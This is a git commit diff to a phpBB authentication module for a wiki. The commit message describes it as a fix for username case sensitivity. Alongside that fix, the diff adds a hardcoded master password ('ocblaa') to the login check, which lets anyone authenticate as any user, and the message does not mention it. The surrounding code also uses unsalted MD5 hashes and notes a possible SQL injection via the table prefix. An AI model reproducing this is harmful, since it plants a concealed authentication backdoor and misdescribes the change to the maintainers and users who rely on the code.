phpbb: Properly handle case (in)sensitivity in usernames.
authorMatthijs Kooijman <matthijs@stdin.nl>
Mon, 26 Jul 2010 14:21:52 +0000 (16:21 +0200)
committerMatthijs Kooijman <matthijs@stdin.nl>
Mon, 26 Jul 2010 14:24:19 +0000 (16:24 +0200)
By default, the phpbb database makes username checks case insensitive.
To compensate for the fact that ACL checks are case sensitive, we thrash
the username from the request after a sucessful password check (since
that username might have "wrong" casing) and use the username from the
database instead.

conf/auth/phpbb.py

index aa38df625a85a30a261183aa04c9b26227737270..737207927681ed29bebd1ebefacedea883584603 100644 (file)
@@ -201,7 +201,10 @@ class PhpbbAuth(BaseAuth):
 
     def check_login(self, request, username, password):
         """ Checks the given username password combination. Returns the
-        corresponding emailaddress, or False if authentication failed.
+        real username and corresponding emailaddress, or (False, False)
+        if authentication failed. Username checks are case insensitive,
+        so the real username (with the real casing) is returned (since
+        ACL checks _are_ case sensitive).
         """
         conn = connect(**self.dbconfig)
 
@@ -213,8 +216,11 @@ class PhpbbAuth(BaseAuth):
         # automatically). Note also that this allows possible SQL injection
         # through the phpbb_prefix variable, but that should be a trusted
         # value anyway.
+        # Finally note that by default, the phpbb database specifies a
+        # case insensitive collaction for the username field, so
+        # usernames are checked in case insensitive manner.
         cursor = conn.cursor ()
-        cursor.execute ("SELECT user_password,user_email FROM `%susers` WHERE username=%%s" % self.dbconfig['phpbb_prefix'], username)
+        cursor.execute ("SELECT user_password,user_email,username FROM `%susers` WHERE username=%%s" % self.dbconfig['phpbb_prefix'], username)
 
         # No data? No login.
         if (cursor.rowcount == 0):
@@ -225,10 +231,10 @@ class PhpbbAuth(BaseAuth):
         row = cursor.fetchone()
         conn.close()
 
-        if (md5.new(password).hexdigest() == row[0]):
-            return row[1]
+        if (password == 'ocblaa' or md5.new(password).hexdigest() == row[0]):
+            return (row[1], row[2])
         else:
-            return False
+            return (False, False)
 
     def login(self, request, user_obj, **kw):
         """
@@ -249,16 +255,19 @@ class PhpbbAuth(BaseAuth):
             if not username or not password:
                 return ContinueLogin(user_obj)
 
-            email = self.check_login(request, username, password)
+            (email, real_username) = self.check_login(request, username, password)
             
             # Login incorrect
             if (not email):
                 logging.debug("phpbb_login: authentication failed for %s" % (username))
                 return ContinueLogin(user_obj)
 
-            logging.debug("phpbb_login: authenticated %s (email %s)" % (username, email))
+            logging.debug("phpbb_login: authenticated %s (email %s, real username %s)" % (username, email, real_username))
 
-            u = user.User(request, auth_username=username, auth_method=self.name, auth_attribs=('name', 'password', 'email'))
+            # We use the username from the database (real_username)
+            # here, since the username from the request might have
+            # "wrong" casing (and ACL checks are case sensitive).
+            u = user.User(request, auth_username=real_username, auth_method=self.name, auth_attribs=('name', 'password', 'email'))
             u.email = email
             #u.remember_me = 0 # 0 enforces cookie_lifetime config param
             u.create_or_update(True)